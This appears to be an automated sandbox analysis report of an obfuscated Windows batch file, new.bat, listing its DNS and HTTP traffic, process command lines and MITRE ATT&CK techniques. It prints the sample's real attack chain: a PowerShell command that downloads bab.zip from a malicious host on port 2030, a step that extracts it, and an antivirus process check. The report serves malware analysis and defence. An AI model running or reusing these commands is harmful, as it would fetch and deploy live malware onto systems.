Preview:	PSMODULECACHE.(.......z..I...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender\Defender.psd1........Add-MpPreference........Get-MpThreatCatalog........Get-MpThreat........Update-MpSignature........Remove-MpPreference........Get-MpPreference........Get-MpThreatDetection........Set-MpPreference........Get-MpComputerStatus........Start-MpScan........Start-MpWDOScan........Remove-MpThreat.........wMk.z..K...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\BitLocker\BitLocker.psd1........Clear-BitLockerAutoUnlock........Lock-BitLocker........Backup-BitLockerKeyProtector........Resume-BitLocker........Disable-BitLockerAutoUnlock....!...BackupToAAD-BitLockerKeyProtector........Add-BitLockerKeyProtector........Unlock-BitLocker........Enable-BitLockerAutoUnlock........Disable-BitLocker........Remove-BitLockerKeyProtector........Enable-BitLocker........Suspend-BitLocker........Get-BitLockerVolume........@.8o.z..q...C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerSh

File type:	Unicode text, UTF-16, little-endian text, with very long lines (19879), with no line terminators
Entropy (8bit):	4.241129629218074
TrID:	Text - UTF-16 (LE) encoded (2002/1) 66.67% MP3 audio (1001/1) 33.33%
File name:	new.bat
File size:	39'761 bytes
MD5:	a9f0c3c76516726b8de37c169f6ddec5
SHA1:	2b54b22442e01cbe0a50d55e73b215ba0db20bbf
SHA256:	6c268d444cb90304d9d371318d6a84b1dee5ac31028fdb00139689d270097179
SHA512:	baa18c9190d8c74524577f3f8205bb76e30d28b771324ee80d51c2ca97cbe9a993463bb1c5aacca56abb06bc27ae2b4dce72fd260bbd49bad9db35ea0e1592b1
SSDEEP:	192:NTrx0j6upYhzY6d10ZuToFg99Q58PI0nUq8Eyz:NTrU6scf0ZuToFg99Q58PI0nUq8Eyz
TLSH:	01034F587AC60E2EE73E4C25A1B7828754CAAB7E209DE25F4E15FDDCF4C16F9A603014
File Content Preview:	..&@cls&@set ".V...=cmbnpTxUdOFZMEqWCY3PaKLRfkrXANIvht2SD1Hwy6 uB8@740lzejQJo59iVGsg"....&%.V...:~0,1%%.V...:~50,1%%.V...:~62,1%..%.V...:~46,1%%.V...:~52,1%%.V...:~0,1%%.V...:~32,1%%.V...:~56,1%%.V...:~42,1%%.V...:~56,1%%.V...:~24,1%%.V...:~24,1%..%.V...:

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 15, 2025 08:55:20.093485117 CET	192.168.2.7	1.1.1.1	0xacf7	Standard query (0)	jsnybsafva.info	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:55:27.709099054 CET	192.168.2.7	1.1.1.1	0xfcd9	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 15, 2025 08:55:20.299150944 CET	1.1.1.1	192.168.2.7	0xacf7	No error (0)	jsnybsafva.info		154.216.17.175	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:55:27.719526052 CET	1.1.1.1	192.168.2.7	0xfcd9	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 15, 2025 08:55:28.645605087 CET	1.1.1.1	192.168.2.7	0xb280	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.20	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:55:28.645605087 CET	1.1.1.1	192.168.2.7	0xb280	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.18	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:55:28.645605087 CET	1.1.1.1	192.168.2.7	0xb280	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.34	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:55:28.645605087 CET	1.1.1.1	192.168.2.7	0xb280	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.35	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:55:28.645605087 CET	1.1.1.1	192.168.2.7	0xb280	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.19	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:55:28.645605087 CET	1.1.1.1	192.168.2.7	0xb280	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		84.201.210.23	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:55:28.645605087 CET	1.1.1.1	192.168.2.7	0xb280	No error (0)	edge.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com		217.20.57.36	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:56:31.824029922 CET	1.1.1.1	192.168.2.7	0xa579	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:56:31.824029922 CET	1.1.1.1	192.168.2.7	0xa579	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:56:55.917649031 CET	1.1.1.1	192.168.2.7	0x3752	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:56:55.917649031 CET	1.1.1.1	192.168.2.7	0x3752	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:57:20.042988062 CET	1.1.1.1	192.168.2.7	0x3f8f	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 15, 2025 08:57:20.042988062 CET	1.1.1.1	192.168.2.7	0x3f8f	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

Timestamp	Bytes transferred	Direction	Data
Jan 15, 2025 08:55:20.317240000 CET	172	OUT	GET /bab.zip HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: jsnybsafva.info:2030 Connection: Keep-Alive
Jan 15, 2025 08:55:20.994725943 CET	1236	IN	HTTP/1.1 200 OK Content-Length: 48647090 Last-Modified: Mon, 13 Jan 2025 10:41:57 GMT Content-Type: application/x-zip-compressed Date: Wed, 15 Jan 2025 07:55:20 GMT ETag: "2d193989039d98b00696c89e57084361-1736764917-48647090" Accept-Ranges: bytes Server: WsgiDAV/4.3.0 Cheroot/9.0.0 Python/3.11.1 Data Raw: 50 4b 03 04 14 00 00 00 00 00 89 ad ae 58 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 00 50 79 74 68 6f 6e 2f 4c 61 75 6e 63 68 65 72 2f 50 4b 03 04 14 00 00 00 08 00 56 76 89 58 6e a0 8c d3 34 34 06 00 18 b1 0b 00 16 00 00 00 50 79 74 68 6f 6e 2f 4c 61 75 6e 63 68 65 72 2f 70 79 2e 65 78 65 ec bd 7b 7c 14 45 b6 00 dc 93 4c c8 00 43 7a c0 89 8c 1a 21 40 d0 68 10 23 03 48 18 d0 f0 98 24 2a 81 09 31 13 10 13 58 17 e2 38 be 22 74 43 5c 09 04 3b b3 d2 16 ed 72 77 61 75 ef d5 bb b0 ea 5d 76 d7 dd c5 15 24 f8 c0 09 c1 3c 14 31 80 8b 28 e8 c6 5d 74 2b 0e 6a 80 18 06 09 e9 ef 9c aa ee c9 24 a0 7b ef f7 bb bf ef f7 fd 71 d1 74 57 57 9d 3a 75 ea d4 a9 f3 a8 aa ee 29 bc 6b a3 90 28 08 82 15 fe 74 5d 10 ea 04 fe 2f 57 f8 d7 ff 1c 16 41 48 19 f9 5a 8a b0 63 e0 7b a3 ea 2c 73 de 1b 75 67 e0 be 15 e9 95 cb 1f be 77 f9 8f 1e 4c ff f1 8f 1e 7a e8 61 29 fd 9e 65 e9 cb e5 87 d2 ef 7b 28 7d f6 bc e2 f4 07 1f 5e ba 6c fc 90 21 83 32 0c 1c 2b 27 4f 9e 33 a1 74 c1 48 f3 ef d1 1b 17 8d 98 c2 ee 65 23 5e 64 f7 bb 47 5c 03 [TRUNCATED] Data Ascii: PKXPython/Launcher/PKVvXn44Python/Launcher/py.exe{\|ELCz!@h#H$1X8"tC\;rwau]v$<1(]t+j${qtWW:u)k(t]/WAHZc{,sugwLza)e{(}^l!2+'O3tHe#^dG\GF8{n\|wd6[8bp,poG]y}?`;'WXf^`lIF<Ady)A8/[ys;?\|]6vM-RJ[`u#PFpwmeULa_}aaK$H</+96(}EpW,1y_AK[<\p7Suogc:>u.uF[tWiA"5b?^x'wUbUXEWbA}\|>]E%P7c=NlP[iQuN8\|Mt lf}jm>_>vpP/t}#YiC]bAGk<}bxlM,=k(,9emVLp+T(uV(3l4j\|zabh:A;AqS-O Od[)[GQ@.}zp:

Target ID:	0
Start time:	02:55:16
Start date:	15/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\new.bat" "
Imagebase:	0x7ff673180000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report new.bat

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF70973e.TMP (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\bd3ab6ba-6b6d-46e4-a4ed-39a00a29e609.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cf3a428e-2e08-450e-a435-60bc05cf06f0.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Windows Analysis Report
new.bat

Target ID:	8
Start time:	02:55:17
Start date:	15/01/2025
Path:	C:\Windows\System32\tasklist.exe
Wow64 process (32bit):	false
Commandline:	tasklist /FI "IMAGENAME eq avgui.exe"
Imagebase:	0x7ff7e45a0000
File size:	106'496 bytes
MD5 hash:	D0A49A170E13D7F6AEBBEFED9DF88AAA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Target ID:	10
Start time:	02:55:18
Start date:	15/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "try { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri 'http://jsnybsafva.info:2030/bab.zip' -OutFile 'C:\Users\user\Downloads\downloaded.zip' } catch { exit 1 }"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Target ID:	23
Start time:	04:58:30
Start date:	15/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell -Command "try { Expand-Archive -Path 'C:\Users\user\Downloads\downloaded.zip' -DestinationPath 'C:\Users\user\Downloads\Extracted' -Force } catch { exit 1 }"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre